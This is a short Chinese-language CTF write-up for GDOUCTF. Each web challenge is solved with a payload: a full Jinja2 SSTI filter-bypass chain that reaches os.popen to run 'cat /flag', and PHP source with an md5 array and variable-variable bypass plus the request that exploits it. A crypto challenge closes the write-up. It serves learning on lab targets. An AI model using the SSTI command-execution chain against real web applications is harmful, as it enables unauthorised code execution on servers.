GDOUCTF WP

WEB

ez_ze

这题考察的是SSTI注入的绕过手法,也是学习到了一些新的SSTI绕过手法

参考链接:SSTI模板注入-
中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过

最后得到的payload如下:

{% set three=dict(ccc=a)|join|count %}{% set eight=dict(cccccccc=a)|join|count %}{% set pop=dict(pop=a)|join %}{% set xhx=(lipsum|string|list)|attr(pop)(three*eight) %}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set get=dict(get=a)|join %}{% set shell=dict(o=a,s=b)|join %}{% set aaa=dict(po=a,pen=b)|join %}{% set builtins=(xhx,xhx,dict(builtins=a)|join,xhx,xhx)|join %}{% set read=dict(read=a)|join %}{% print ((lipsum|attr(globals))|attr(get)(shell)|attr(aaa)('cat /flag')|attr(read)()) %}

image-20240717201415816

hate eat snake

这题在snack.js中把除以一千直接去掉

image-20240717201426992

可以成功得到flag

受不了一点

给出了源码,绕过即可得到flag

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if (isset($_POST['gdou']) && isset($_POST['ctf'])) {
    $b = $_POST['ctf'];
    $a = $_POST['gdou'];
    if ($_POST['gdou'] != $_POST['ctf'] && md5($a) === md5($b)) {
        if (isset($_COOKIE['cookie'])) {
            if ($_COOKIE['cookie'] == 'j0k3r') {
                if (isset($_GET['aaa']) && isset($_GET['bbb'])) {
                    $aaa = $_GET['aaa'];
                    $bbb = $_GET['bbb'];
                    if ($aaa == 114514 && $bbb == 114514 && $aaa != $bbb) {
                        $give = 'cancanwordflag';
                        $get = 'hacker!';
                        if (!isset($_GET['flag']) && !isset($_POST['flag'])) {
                            die($give);
                        }
                        if ($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag') {
                            die($get);
                        }
                        foreach ($_POST as $key => $value) {
                            $$key = $value;
                        }
                        foreach ($_GET as $key => $value) {
                            $$key = $$value;
                        }
                        echo $f1ag;
                    } else {
                        echo "洗洗睡吧";
                    }
                } else {
                    echo "行不行啊细狗";
                }
            }
        } else {
            echo '菜菜';
        }
    } else {
        echo "就这?";
    }
} else {
    echo "别来沾边";
} ?> 

payload如下:

GET:?aaa=114514a&bbb=114514bPOST:gdou[]=1&ctf[]=2&flag[]=flagCookie:cookie=j0k3r

image-20240717201445856

EZ WEB

image-20240717201455545

image-20240717201506193

然后使用PUT方式访问,得到flag

image-20240717201511106

CRYPTO

Absolute_Baby_Encrytpion

image-20240717201516723

js简单的替换加密,替换回来就可以了

image-20240717201523947